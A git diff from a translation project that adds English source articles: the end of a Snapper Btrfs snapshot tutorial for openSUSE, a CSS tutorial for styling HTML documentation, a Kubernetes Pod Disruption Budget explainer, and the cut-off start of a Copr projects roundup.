If the root partition is smaller than 16 GB, all Snapper features and automatic snapshots are disabled to prevent a full `/` partition. + +To check if automatic snapshots is enabled, edit `/etc/snapper/configs/root` file: + +``` +$ sudo nano /etc/snapper/configs/root +``` + +Make sure the following option is set to "yes". + +``` +TIMELINE_CREATE="yes" +``` + +If timeline is enabled, Snapper will create a snapshot once an hour by default. + +To disable automatic timeline snapshots feature, simply set the above feature to "no". + +``` +TIMELINE_CREATE="no" +``` + +When automatic timeline snapshots feature is enabled, Snapper will keep a specific number of hourly, daily, weekly, monthly, and yearly snapshots based on the configuration settings defined in `/etc/snapper/configs/root` file. + +Let us check current configuration settings: + +``` +[...] +TIMELINE_MIN_AGE="1800" +TIMELINE_LIMIT_HOURLY="10" +TIMELINE_LIMIT_DAILY="10" +TIMELINE_LIMIT_WEEKLY="0" +TIMELINE_LIMIT_MONTHLY="10" +TIMELINE_LIMIT_YEARLY="10" +[...] +``` + +As per the above configuration, Snapper will keep 100 hourly, 10 daily, 10 monthly, and 10 yearly snapshots if the automatic timeline snapshots feature is enabled. + +#### 4. List Snapshots + +To list the available snapshots using Snapper, run: + +``` +$ sudo snapper list +``` + +**Sample output:** + +``` +# | Type | Pre # | Date | User | Used Space | Cleanup | Description | Userdata +----+--------+-------+-------------------------------------+------+------------+---------+-----------------------+-------------- + 0 | single | | | root | | | current | + 1* | single | | Thursday 04 August 2022 12:54:37 PM | root | 13.82 MiB | | first root filesystem | + 2 | single | | Thursday 04 August 2022 05:16:07 PM | root | 20.25 MiB | number | after installation | important=yes + 3 | pre | | Thursday 04 August 2022 05:28:12 PM | root | 1.64 MiB | number | zypp(packagekitd) | important=yes + 4 | post | 3 | Thursday 04 August 2022 05:29:38 PM | root | 27.98 MiB | number | | important=yes +11 | pre | | Friday 05 August 2022 02:07:22 PM | root | 4.12 MiB | number | zypp(zypper) | important=no +12 | post | 11 | Friday 05 August 2022 02:09:07 PM | root | 33.29 MiB | number | | important=no +13 | pre | | Friday 05 August 2022 02:33:19 PM | root | 176.00 KiB | number | yast snapper | +14 | pre | | Friday 05 August 2022 02:39:30 PM | root | 128.00 KiB | number | zypp(zypper) | important=no +15 | post | 14 | Friday 05 August 2022 02:39:48 PM | root | 5.65 MiB | number | | important=no +16 | post | 13 | Friday 05 August 2022 04:11:00 PM | root | 32.00 KiB | number | | +17 | pre | | Friday 05 August 2022 04:11:27 PM | root | 64.00 KiB | number | yast snapper | +20 | post | 17 | Friday 05 August 2022 06:48:50 PM | root | 2.33 MiB | number | | +``` + +![List Snapshots][4] + +As you can see in the above output, There are three types of snapshots. They are known as **single**, **pre** and **post** respectively. + +Each snapshot has an index number and the exact date and time of snapshot creation. The snapshot `#0` always refers to the current system. + +The **single** snapshots are used for storing the file system state in a certain time. The single snapshots have no special relationship to other snapshots. + +A pair of snapshots of root filesystem is created during each YaST or Zypper transaction. These snapshots are called **pre** and **post**. + +One snapshot is created just before the transaction run (Pre). This means after a successful transaction check and successful transaction test. And another snapshot is created when the transaction has finished (Post). + +Each "pre" snapshots belongs to a specific "post" snapshot. The post snapshots knows which pre snapshots belongs to it. + +By having a pre and post snapshot, we can see what changes happened to the file system while YaST/Zypper was running. + +How do you know Snapper actually snapshots the filesystem? Easy! Open YaST and do some configuration changes or install/remove a package using Zypper package manager. Snapper will automatically snapshot the filesystem during each transaction. + +For example, I am going to install "gedit" package using zypper: + +``` +$ sudo zypper install gedit +``` + +Now list the snapshots using command: + +``` +$ sudo snapper list +``` + +**Sample output:** + +``` +# | Type | Pre # | Date | User | Used Space | Cleanup | Description | Userdata +----+--------+-------+-------------------------------------+------+------------+---------+-----------------------+-------------- + 0 | single | | | root | | | current | + 1* | single | | Thursday 04 August 2022 12:54:37 PM | root | 56.28 MiB | | first root filesystem | + 2 | single | | Thursday 04 August 2022 05:16:07 PM | root | 20.25 MiB | number | after installation | important=yes + 3 | pre | | Thursday 04 August 2022 05:28:12 PM | root | 1.64 MiB | number | zypp(packagekitd) | important=yes + 4 | post | 3 | Thursday 04 August 2022 05:29:38 PM | root | 27.98 MiB | number | | important=yes +11 | pre | | Friday 05 August 2022 02:07:22 PM | root | 4.12 MiB | number | zypp(zypper) | important=no +12 | post | 11 | Friday 05 August 2022 02:09:07 PM | root | 33.29 MiB | number | | important=no +13 | pre | | Friday 05 August 2022 02:33:19 PM | root | 176.00 KiB | number | yast snapper | +14 | pre | | Friday 05 August 2022 02:39:30 PM | root | 128.00 KiB | number | zypp(zypper) | important=no +15 | post | 14 | Friday 05 August 2022 02:39:48 PM | root | 5.65 MiB | number | | important=no +16 | post | 13 | Friday 05 August 2022 04:11:00 PM | root | 32.00 KiB | number | | +17 | pre | | Friday 05 August 2022 04:11:27 PM | root | 64.00 KiB | number | yast snapper | +20 | post | 17 | Friday 05 August 2022 06:48:50 PM | root | 2.74 MiB | number | | +21 | pre | | Tuesday 09 August 2022 04:10:44 PM | root | 992.00 KiB | number | zypp(zypper) | important=no +22 | post | 21 | Tuesday 09 August 2022 04:10:49 PM | root | 1.64 MiB | number | | important=no +``` + +There it is! Snapper has taken a pre and post snapshots before and after zypper command is executed. + +#### 5. View Snapshot Status + +We can verify what has changed while YaST or Zypper was running. + +To do so, simply run the following command with the index number of pre and post snapshots: + +``` +$ sudo snapper status 21..22 +``` + +You will see whole list of newly added/removed files during the transaction. + +``` +[...] +c..... /usr/share/icons/hicolor/icon-theme.cache ++..... /usr/share/icons/hicolor/scalable/apps/org.gnome.gedit.svg ++..... /usr/share/icons/hicolor/symbolic/apps/org.gnome.gedit-symbolic.svg ++..... /usr/share/licenses/gedit ++..... /usr/share/licenses/gedit/COPYING ++..... /usr/share/man/man1/gedit.1.gz ++..... /usr/share/metainfo/org.gnome.gedit.appdata.xml +``` + +Here, + +* 'c' means a file is modified. +* '+' means a file is added. +* '-' indicates a file is removed. + +#### 6. View Snapshot Difference + +We can also see the difference between pre and post snapshots. + +``` +$ sudo snapper diff 21..22 +``` + +Or pass the "less" option to view the output page by page. + +``` +$ sudo snapper diff 21..22 | less +``` + +![View Snapshots Difference][5] + +#### 7. Revert Or Undo Changes + +If you don't like the changes made by YaST or Zypper, you can revert back to the previous system state by using command: + +``` +$ sudo snapper undochange 21..22 +``` + +Snapper will revert all files (text and binary) including permissions, ownership and extended attributes and also remove and recreate files and directories. File timestamps are not reverted. Some files are excluded, e.g. `/etc/mtab`. + +You need to reboot your system to take effect the changes. Because Snapper will not notify the Kernel about the changes like YaST or Zypper does. + +#### 8. Manually Create Btrfs Snapshots + +Snapper creates snapshots automatically. You can, however, manually create Btrfs snapshots as well. + +To create a new snapshot, simply run: + +``` +$ sudo snapper create --desc "Snapshot After Fresh Installation" +``` + +Here, `--desc` indicates the description of the snapshot. + +Let us check if the snapshot is created by listing the available snapshots. + +``` +$ sudo snapper list +``` + +**Sample output:** + +``` +# | Type | Pre # | Date | User | Used Space | Cleanup | Description | Userdata +----+--------+-------+-------------------------------------+------+------------+---------+-----------------------------------+-------------- + 0 | single | | | root | | | current | + 1* | single | | Thursday 04 August 2022 12:54:37 PM | root | 16.00 KiB | | first root filesystem | + 2 | single | | Thursday 04 August 2022 05:16:07 PM | root | 20.25 MiB | number | after installation | important=yes + 3 | pre | | Thursday 04 August 2022 05:28:12 PM | root | 1.64 MiB | number | zypp(packagekitd) | important=yes + 4 | post | 3 | Thursday 04 August 2022 05:29:38 PM | root | 27.98 MiB | number | | important=yes +11 | pre | | Friday 05 August 2022 02:07:22 PM | root | 4.12 MiB | number | zypp(zypper) | important=no +12 | post | 11 | Friday 05 August 2022 02:09:07 PM | root | 33.29 MiB | number | | important=no +13 | pre | | Friday 05 August 2022 02:33:19 PM | root | 176.00 KiB | number | yast snapper | +14 | pre | | Friday 05 August 2022 02:39:30 PM | root | 128.00 KiB | number | zypp(zypper) | important=no +15 | post | 14 | Friday 05 August 2022 02:39:48 PM | root | 5.65 MiB | number | | important=no +16 | post | 13 | Friday 05 August 2022 04:11:00 PM | root | 32.00 KiB | number | | +17 | pre | | Friday 05 August 2022 04:11:27 PM | root | 64.00 KiB | number | yast snapper | +20 | post | 17 | Friday 05 August 2022 06:48:50 PM | root | 2.33 MiB | number | | +21 | single | | Tuesday 09 August 2022 03:50:04 PM | root | 16.00 KiB | | Snapshot After Fresh Installation | +``` + +![Create Btrfs Snapshots][6] + +#### 9. View Contents Of Snapshots + +All the snapshots are kept under `/.snapshots` directory for root configuration. Each snapshot is stored in a separate directory. If you move into the snapshot directory, you will see the complete root filesystem. + +``` +$ sudo ls /.snapshots/17/snapshot +bin boot dev etc home lib lib64 mnt opt proc root run sbin srv sys tmp usr var +``` + +![View Contents Of Filesystem Snapshots][7] + +#### 10. Setup Snapper Config For HOME Directory + +in SUSE/openSUSE, YaST doesn't setup Snapper for your `/home` directory. By default, it setup Snapper config for root filesystem only. + +You to need to manually setup Snapper config for your HOME directory. To do so, run: + +``` +$ sudo snapper -c home create-config /home +``` + +The above command will + +* create a new configuration file at `/etc/snapper/configs/home` based on the default template from `/usr/share/snapper/config-templates`. +* create a new subvolume at `/home/.snapshots` directory and store the future snapshots for the home configuration in this directory. + +Verify if the configuration file for `/home` directory is created by listing the Snapper config files: + +``` +$ sudo snapper list-configs +Config | Subvolume +-------+---------- +home | /home +root | / +``` + +Yes, it is created! From now on, you can view the list of snapshots for `/home` directory. + +``` +$ sudo snapper -c home list + # | Type | Pre # | Date | User | Used Space | Cleanup | Description | Userdata +---+--------+-------+------------------------------------+------+------------+----------+-------------+--------- +0 | single | | | root | | | current | +1 | single | | Tuesday 09 August 2022 05:00:26 PM | root | 16.00 KiB | timeline | timeline | +``` + +**Heads Up:** Please note that whenever you want to use Snapper for `/home` directory, you must use `-c home` option in all commands. + +To manually create a snapshot for /home directory, run: + +``` +$ sudo snapper -c home create --description "First snapshot for /home directory" +``` + +#### 11. Rollback From Bootable Snapshots + +Restoring your Linux system to previous known working state with Snapper is a quite helpful feature. + +When you unknowingly misconfigured something or ended up with a broken system after system upgrade, you can easily rollback to previous state without losing any data. + +Reboot your system. In the boot menu, choose **"Start bootloader from a read-only snapshot"** option. + +![Start Bootloader From Read-only Snapshot][8] + +The list of snapshots is listed by date in the next window. The most recent snapshot is listed first. Select the snapshot you want to boot and hit Enter to login. + +![Select The Snapshot To Boot][9] + +Log in to the system. Carefully check whether everything works as expected. Please note that you cannot write to any directory that is part of the snapshot. Data you write to other directories will not get lost, regardless of what you do next. + +If **everything is OK** as expected, perform a rollback by running the following command from your Terminal. + +``` +$ sudo snapper rollback +``` + +**Sample output:** + +``` +Ambit is classic. +Creating read-only snapshot of default subvolume. (Snapshot 32.) +Creating read-write snapshot of current subvolume. (Snapshot 33.) +Setting default subvolume to snapshot 33. +``` + +![Rollback Snapshot][10] + +Once the rollback is completed, reboot your system. On the boot screen, choose the default boot entry to reboot into the reinstated system. A snapshot of the file system status before the rollback is created. The default subvolume for root will be replaced with a fresh read-write snapshot. + +You can optionally add a description for the snapshot with the `-d` option. This is useful to easily remember when you've done the rollback. For example: + +``` +New file system root since rollback on 13/08/2022 +``` + +If your system is in a **state where you do not want to do a rollback**, don't anything. Just reboot to boot into the current system state. And then choose a different snapshot, or start the rescue system. + +Please note that this feature supports only the root configuration. + +#### 12. Delete Snapshots + +To delete a snapshot, simply specify the configuration name and the snapshot number like below. The following commands will delete the snapshot 17 of root configuration: + +``` +$ sudo snapper -c root delete 17 +``` + +Similarly, to **delete a snapshot of home configuration**, the command would be: + +``` +$ sudo snapper -c home delete +``` + +To delete multiple snapshots (E.g. 10 and 11) at once, specify the snapshots nos with space separated like below: + +``` +$ sudo snapper -c root delete 10 11 +``` + +**Heads Up:** After deleting a pre snapshot, you should always delete the corresponding post snapshot and vice versa. + +You can also delete a range of snapshots, for example snapshots 10 to 20 of home configuration, run: + +``` +$ sudo snapper -c home delete 10-20 +``` + +To free the disk space used by the snapshot(s) immediately, use `--sync` option: + +``` +$ sudo snapper -c root delete --sync 30 +``` + +### Troubleshooting - Reduce I/O Load + +Snapper creates two snapshots and compares them during each YaST/Zypper transaction. This will cause high I/O load. + +To reduce the I/O load, edit `/etc/snapper/configs/root` file: + +``` +$ sudo nano /etc/snapper/configs/root +``` + +Set **"no"** to the following parameters. + +``` +[...] +BACKGROUND_COMPARISON="no" +[...] +EMPTY_PRE_POST_CLEANUP="no" +``` + +![Reduce I/O Load][11] + +The first line disables the background comparison and the second line disables daily cleanups. Save the file and close it. + +### Snapper GUI + +Snapper also has a graphical user interface where you can create and manage Btrfs filesystem snapshots with couple mouse clicks. + +Launch Snapper from Menu. In openSUSE, it is available under different name called "YaST Filesystem Snapshots". + +This is how Snapper GUI looks in openSUSE. + +![Snapper Interface][12] + +The above window shows the list of available snapshots under root configuration. You can switch to different configuration (E.g. home) from the "Current Configuration" drop-down box. + +![Switch Configuration In Snapper GUI][13] + +From here, you can create new snapshots, modify them and delete snapshots if they are no longer required. + +#### Revert Changes Via Snapper GUI + +To restore a snapshot, choose the snapshot of your choice from the list and click **"Show Changes"** button. + +![Select Snapshot][14] + +In the next window, choose the files and folders in the original snapshot to restore and finally click "Restore Selected" Button. You will be asked a confirmation to restore the snapshot. Click "Yes" to continue. + +![Restore Snapshot][15] + +The snapshot is restored! + +### Conclusion + +In this guide, we discussed what is Snapper and how can we use Snapper to create a Btrfs snapshot before and after running YaST or zypper, compare the two snapshots and revert between the two snapshots in openSUSE. We also looked at how to rollback from bootable read-only snapshot to restore your system to previous working state. + +Finally, we learned how to use Snapper GUI tool to do all snapshot management operations via a graphical interface. + +Snapper is an underrated tool that handles the filesystem snapshots like a breeze. You don't need any third-party filesystem snapshot tool if the underlying filesystem is Btrfs. + +**Resources:** + +* [Snapper GitHub Repository][16] +* [Snapper Website][17] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/btrfs-snapshots-snapper/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/install-opensuse-leap/ +[2]: http://download.opensuse.org/repositories/filesystems:/snapper/ +[3]: https://ostechnix.com/wp-content/uploads/2022/08/List-Snapper-Configuration.png +[4]: https://ostechnix.com/wp-content/uploads/2022/08/List-Snapshots.png +[5]: https://ostechnix.com/wp-content/uploads/2022/08/View-Snapshots-Difference.png +[6]: https://ostechnix.com/wp-content/uploads/2022/08/Create-Btrfs-Snapshots.png +[7]: https://ostechnix.com/wp-content/uploads/2022/08/View-Contents-Of-Filesystem-Snapshots.png +[8]: https://ostechnix.com/wp-content/uploads/2022/08/Start-Bootloader-From-Read-only-Snapshot.png +[9]: https://ostechnix.com/wp-content/uploads/2022/08/Select-The-Snapshot-To-Boot.png +[10]: https://ostechnix.com/wp-content/uploads/2022/08/Rollback-Snapshot.png +[11]: https://ostechnix.com/wp-content/uploads/2022/08/Reduce-IO-Load.png +[12]: https://ostechnix.com/wp-content/uploads/2022/08/Snapper-Interface.png +[13]: https://ostechnix.com/wp-content/uploads/2022/08/Switch-Configuration-In-Snapper-GUI.png +[14]: https://ostechnix.com/wp-content/uploads/2022/08/Select-Snapshot.png +[15]: https://ostechnix.com/wp-content/uploads/2022/08/Restore-Snapshot.png +[16]: https://github.com/openSUSE/snapper +[17]: http://snapper.io/ diff --git a/sources/tech/20220813 Level up your HTML document with CSS.md b/sources/tech/20220813 Level up your HTML document with CSS.md new file mode 100644 index 0000000000..86d62b943b --- /dev/null +++ b/sources/tech/20220813 Level up your HTML document with CSS.md @@ -0,0 +1,280 @@ +[#]: subject: "Level up your HTML document with CSS" +[#]: via: "https://opensource.com/article/22/8/css-html-project-documentation" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Level up your HTML document with CSS +====== +Use CSS to bring style to your HTML project documentation. + +When you write documentation, whether that's for an open source project or a technical writing project, you should have two goals: The document should be written well, and the document should be easy to read. The first is addressed by clear writing skills and technical editing. The second can be addressed with a few simple changes to an HTML document. + +HyperText Markup Language, or HTML, is the backbone of the internet. Since the dawn of the "World Wide Web" in 1994, every web browser uses HTML to display documents and websites. And for almost as long, HTML has supported the *stylesheet*, a special addition to an HTML document that defines how the text should appear on the screen. + +You can write project documentation in plain HTML, and that gets the job done. However, plain HTML styling may feel a little spartan. Instead, try adding a few simple styles to an HTML document to add a little pizzazz to documentation, and make your documents clearer and easier to read. + +### Defining an HTML document + +Let's start with a plain HTML document and explore how to add styles to it. An empty HTML document contains the definition at the top, followed by an block to define the document itself. Within the element, you also need to include a document header that contains metadata about the document, such as its title. The contents of the document body go inside a block within the parent block. + +You can define a blank page with this HTML code: + +``` + + +  +    This is a new document +  +  + +  + +``` + +In another article about [Writing project documentation in HTML][2], I updated a Readme file from an open source board game from plain text to an HTML document, using a few basic HTML tags like

          and

          for heading and subheadings,

          for paragraphs, and and for bold and italic text. Let's pick up where we left off with that article: + +``` + + +  +    Simple Senet +  +  +   

          Simple Senet

          +   

          How to Play

          +    +   

          The game will automatically "throw" the throwing sticks +    for you, and display the results in the lower-right corner +    of the screen.

          +    +   

          If the "throw" is zero, then you lose your turn.

          +    +   

          When it's your turn, the game will automatically select +    your first piece on the board. You may or may not be +    able to make a move with this piece, so select your piece +    to move, and hit Space (or Enter) to move +    it. You can select using several different methods:

          +    +   
            +     
          • Up/down/left/right to +      navigate to a specific square.
          • +    +     
          • Plus (+) or minus (-) to navigate "left" +      and "right" on the board. Note that this will automatically +      follow the "backwards S" shape of the board.
          • +    +     
          • Tab to select your next piece on the +      board.
          • +   
          +    +   

          To quit the game at any time, press Q (uppercase +    Q) or hit Esc, and the game will prompt if you want +    to forfeit the game.

          +    +   

          You win if you move all of your pieces off the board +    before your opponent. It takes a combination of luck and +    strategy!

          +  + +``` + +This HTML document demonstrates a few common block and inline elements used by technical writers who write with HTML. Block elements define a rectangle around text. Paragraphs and headings are examples of block elements, because they extend from the left to the right edges of the document. For example,

          encloses an invisible rectangle around a paragraph. In contrast, inline elements follow the text where they are used. If you use on some text within a paragraph, only the text surrounded by and becomes bold. + +You can apply direct styling to this document to change the font, colors, and other text styles, but a more efficient way to modify the document's appearance is to apply a *stylesheet* to the document itself. You can do that in the element, with other metadata. You can reference a file for the style sheet, but for this example, use a +  +  +    ... +  + +``` + +### Defining styles + +Since you're just starting to learn about stylesheets, let's demonstrate a basic style: background color. I like to start with the background color because it helps to demonstrate block and inline elements. Let's apply a somewhat gaudy stylesheet that sets a *light blue* background color for all

          paragraphs, and a *light green* background for the

            unordered list. Use a *yellow* background for any bold text, and a *pink* background for any italics text. + +You define these using styles in the +``` + +Note that each style ends with a semicolon. + +If you view this HTML document in a web browser, you can see how the

            and

              block elements are filled in as rectangles, and the and inline elements highlight only the bold and italics text. This use of contrasting colors may not be pretty to look at, but I think you can see the block and inline elements: + +![My eyes! But the colors do help us see block and inline elements.][3] + +### Applying styles + +You can use styles to make this Readme document easier to read. You're just starting to learn about styles, you'll stick to a few simple style elements: + +* background-color to set the background color +* color to set the text color +* font-family to use a different text font +* margin-top to add space above an element +* margin-bottom to add space below an element +* text-align to change how the text is displayed, such as to the left, to the right, or centered + +Let's start over with your stylesheet and apply these new styles to your document. To begin, use a more pleasing font for your document. If your HTML document does not specify a font, the web browser picks one for you. Depending on how the browser is set up, this could be a *serif* font, like the font used in my screenshot, or a *sans-serif* font. Serif fonts have a small stroke added to each letter, which makes these fonts much easier to read in print. Sans-serif fonts lack this extra stroke, which makes text appear sharper on a computer display. Common serif fonts include Garamond or Times New Roman. Popular sans-serif fonts include Roboto and Arial. + +For example, to set the document body font to Roboto, use this style: + +``` +body { font-family: Roboto; } +``` + +By setting a font, you assume the person viewing your document also has that font installed. Some fonts have become so common they are considered de facto "Web safe" fonts. These include sans-serif fonts like Arial and serif fonts such as Times New Roman. Roboto is a newer font and may not be available everywhere. So instead of listing just one font, web designers usually put one or more "backup" fonts. You can add these alternative fonts by separating them with a comma. For example, if the user doesn't have the Roboto font on their system, you can instead use Arial for the text body by using this style definition: + +``` +body { font-family: Roboto, Arial; } +``` + +All web browsers define a default serif and sans-serif font that you can reference with those names. Users can change which font they prefer to use for serif and sans-serif, so aren't likely to be the same for everyone, but using serif or sans-serif in a font list is usually a good idea. By adding that font, at least the user gets some approximation of how you want the HTML document to appear: + +``` +body { font-family: Roboto, Arial, sans-serif; } +``` + +If your font name is more than one word, you have to put quotes around it. HTML allows you to use either single quotes or double quotes here. Define a few serif fonts for the heading and subheading, including Times New Roman: + +``` +h1 { font-family: "Times New Roman", Garamond, serif; } +h2 { font-family: "Times New Roman", Garamond, serif; } +``` + +Note that the h1 heading and h2 subheading use exactly the same font definition. If you want to avoid the extra typing, you can use a stylesheet shortcut to use the same style definition for both h1 and h2: + +``` +h1, h2 { font-family: "Times New Roman", Garamond, serif; } +``` + +When writing documentation, many technical writers prefer to center the main title on the page. You can use text-align on a block element, such as the h1 heading, to center just the title: + +``` +h1 { text-align: center; } +``` + +To help bold and italics text to stand out, put them in a slightly different color. For certain documents, I might use *dark blue* for bold text, and *dark green* for italics text. These are pretty close to black, but with just enough subtle difference that the color grabs the reader's attention. + +``` +b { color: darkblue; } +i { color: darkgreen; } +``` + +Finally, I prefer to add extra spacing around my list elements, to make these easier to read. If each list item was only a few words, the extra space might not matter. But the middle item  in my example text is quite long and wraps to a second line. The extra space helps the reader see each item in this list more clearly. You can use the margin style to add space above and below a block element: + +``` +li { margin-top: 10px; margin-bottom: 10px; } +``` + +This style defines a distance, which I've indicated here as 10px (ten *pixels*) above and below each list element. You can use several different measures for distance. Ten pixels is literally the space of ten pixels on your screen, whether that's a desktop monitor, a laptop display, or a phone or tablet screen. + +Assuming you really just want to add an extra blank line between the list elements, you can also use em for my measurement. An *em* is an old typesetting term that is exactly the width of capital **M** if you refer to left and right spacing, or the height of a capital **M** for vertical spacing. So you can instead write the margin style using 1em: + +``` +li { margin-top: 1em; margin-bottom: 1em; } +``` + +The complete list of styles in your HTML document looks like this: + +``` + + +  +    Simple Senet +    +  +  +   

              Simple Senet

              +   

              How to Play

              +    +   

              The game will automatically "throw" the throwing sticks +    for you, and display the results in the lower-right corner +    of the screen.

              +    +   

              If the "throw" is zero, then you lose your turn.

              +    +   

              When it's your turn, the game will automatically select +    your first piece on the board. You may or may not be +    able to make a move with this piece, so select your piece +    to move, and hit Space (or Enter) to move +    it. You can select using several different methods:

              +    +   
                +     
              • Up/down/left/right to +      navigate to a specific square.
              • +    +     
              • Plus (+) or minus (-) to navigate "left" +      and "right" on the board. Note that this will automatically +      follow the "backwards S" shape of the board.
              • +    +     
              • Tab to select your next piece on the +      board.
              • +   
              +    +   

              To quit the game at any time, press Q (uppercase +    Q) or hit Esc, and the game will prompt if you want +    to forfeit the game.

              +    +   

              You win if you move all of your pieces off the board +    before your opponent. It takes a combination of luck and +    strategy!

              +  + +``` + +When viewed on a web browser, you see your Readme document in a sans-serif font, with serif fonts for the heading and subheading. The page title is centered. The bold and italics text use a slightly different color that calls the reader's attention without being distracting. Finally, your list items have extra space around them, making each item easier to read. + +![By adding a few styles, we've made this Readme much easier to read.][4] + +This is a simple introduction to using styles in technical writing. Having mastered the basics, you might be interested in [Mozilla's HTML Guide][5]. This includes some great beginner's tutorials so you can learn how to create your own web pages. + +For more information on how CSS styling works, I recommend [Mozilla's CSS Guide][6]. + +Image by: (Jim Hall, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/css-html-project-documentation + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/painting_computer_screen_art_design_creative.png +[2]: https://opensource.com/article/22/8/writing-project-documentation-html +[3]: https://opensource.com/sites/default/files/2022-08/style-html-1.png +[4]: https://opensource.com/sites/default/files/2022-08/style-html-2.png +[5]: https://developer.mozilla.org/en-US/docs/Web/HTML +[6]: https://developer.mozilla.org/en-US/docs/Web/CSS diff --git a/sources/tech/20220813 What is PDB in Kubernetes-.md b/sources/tech/20220813 What is PDB in Kubernetes-.md new file mode 100644 index 0000000000..71d6784534 --- /dev/null +++ b/sources/tech/20220813 What is PDB in Kubernetes-.md @@ -0,0 +1,104 @@ +[#]: subject: "What is PDB in Kubernetes?" +[#]: via: "https://kerneltalks.com/virtualization/what-is-pdb-in-kubernetes/" +[#]: author: "kerneltalks https://www.facebook.com/kerneltalks/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What is PDB in Kubernetes? +====== +Ever wondered what is PDB i.e. Pod Disruption Budget in the Kubernetes world? Then this small post is just for you! + +![][1] + +PDB i.e. Pod Disruption Budget is a method to make sure the minimum number of Pods are always available for a certain application in the Kubernetes cluster. That is a kind of one-liner for explaining PDB 🙂 Let’s dive deeper and understand what is PDB. What does PDB offer? Should I define PDB for my applications? etc. + +#### What is Pod Disruption Budget? + +The Replicaset in Kubernetes helps us to keep multiple replicas of the same Pod to handle the load or add an extra layer of availability in containerized applications. But, those replicas are tossed during cluster maintenance or scaling actions if you don’t tell the control plane (Kubernetes master/ Kubernetes API server) how they should be terminated. + +The PDB is a way to let control plane how the Pods in a certain Replicaset should be terminated. The PDB is a Kubernetes kind that should be associated with the Deployment kind. + +#### How PDB is defined? + +It’s a very small kind and offers only three fields to configure: + +* spec.selector: Defines the Pods to which PDB will be applied +* spec.minAvailable: An absolute number or percentage. It’s the number of Pods that should always remain in a running state during evictions. +* spec.maxUnavailable: An absolute number or percentage. It’s the maximum number of Pods that can be unavailable during evictions. +* You can only specify either `spec.minAvailable` or `spec.maxUnavailable` + +A sample Kubernetes manifest for PDB looks like this – + +``` +apiVersion: policy/v1 +kind: PodDisruptionBudget +metadata: + name: sample-pdb + namespace: #optional + Annotations: #optional + key: value + labels: #optional + key: value +spec: + minAvailable: 1 + selector: + matchLabels: + app: web +``` + +Here – + +* metadata: The PDB name, the namespace in which PDB lives, annotations and labels that are applied to the PDB itself. +* spec: It’s a PDB config we discussed above. + +#### How does PDB work? + +Let’s look at how this configuration takes into effect. For better understanding, we will consider a simple application that has 5 replicas. + +Case 1: PDB is configured with minAvailable to be 3. + +This means we are telling the control plane that it can evict at most (5 running – 3 minavailable) 2 Pods at a time. That means we are allowing 2 disruptions at a time. This value is also called *disruptionsAllowed*. So, in a situation where the control plane needs to move all the 5 Pods, it will evict 2 Pods first then once those 2 evicted Pods, respawns on the new node and goes into the `Running` state, it will evict the next 2 and lastly 1. In a process, it makes sure that there are always 3 Pods in the `Running` state. + +Case 2: PDB is configured with maxUnavailable to be 2 + +It’s the same effect as above! Basically, you are telling the control plane at any given point of time 2 Pods can be evicted meaning 5-2 = 3 Pods should be running! + +The `Allowed Disruptions` is calculated on the fly. It always considers the Pods in `Running` state only. Continuing with the above example, if out of 5 Pods, 2 Pods are not in a `Running` state (for maybe some reason) then *disruptionsAllowed*is calculated as 3-3=0. This means only 3 Pods are in the `Running` state and all 3 should not be evicted since PDB says it wants a minimum of 3 Pods in the `Running` state all the time. + +In a nutshell: *disruptionsAllowed = Number of RUNNING Pods – minAvailable value* + +#### How to check Pod Disruption Budget? + +One can use the below command to check the PDB – + +``` +$ kubectl get poddisruptionbudgets -n +``` + +Then, `kubectl describe` can be used to get the details of each PDB fetched in the output of the previous command. + +#### Should I define PDB for my applications? + +Yes, you should! It’s a good practice to calculate and properly define the PDB to make your application resilient to Cluster maintenance/scaling activities. + +The minimum number is to have minAvailable as 1 and replicas 2. Or make sure that minAvailable is always less than the replica count. The wrongly configured PDB will not allow Pod evictions and may disturb the cluster activities. Obviously, cluster admins can force their way in but then it means downtime in your applications. + +You can also implement cluster constraints for PDB so that new applications won’t be allowed to deploy unless they have PDB manifest as well in the code. + +-------------------------------------------------------------------------------- + +via: https://kerneltalks.com/virtualization/what-is-pdb-in-kubernetes/ + +作者:[kerneltalks][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.facebook.com/kerneltalks/ +[b]: https://github.com/lkxed +[1]: https://z5.kerneltalks.com/wp-content/uploads/2022/08/pod-disruption-budget.png diff --git a/sources/tech/20220814 4 cool new projects to try in Copr for August 2022.md b/sources/tech/20220814 4 cool new projects to try in Copr for August 2022.md new file mode 100644 index 0000000000..10e3b10759 --- /dev/null +++ b/sources/tech/20220814 4 cool new projects to try in Copr for August 2022.md @@ -0,0 +1,145 @@ +[#]: subject: "4 cool new projects to try in Copr for August 2022" +[#]: via: "https://fedoramagazine.org/4-cool-new-projects-to-try-in-copr-for-august-2022/" +[#]: author: "Jiri Kyjovsky https://fedoramagazine.org/author/nikromen/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +4 cool new projects to try in Copr for August 2022 +====== + +![4 packages to try from the Copr repos][1] + +[Copr][2] is a build system for anyone in the Fedora community. It hosts thousands of projects for various purposes and audiences. Some of them should never be installed by anyone, some are already being transitioned to the official Fedora Linux repositories, and the rest are somewhere in between. Copr gives you the opportunity to install third-party software that is not available in Fedora Linux repositories, try nightly versions of your 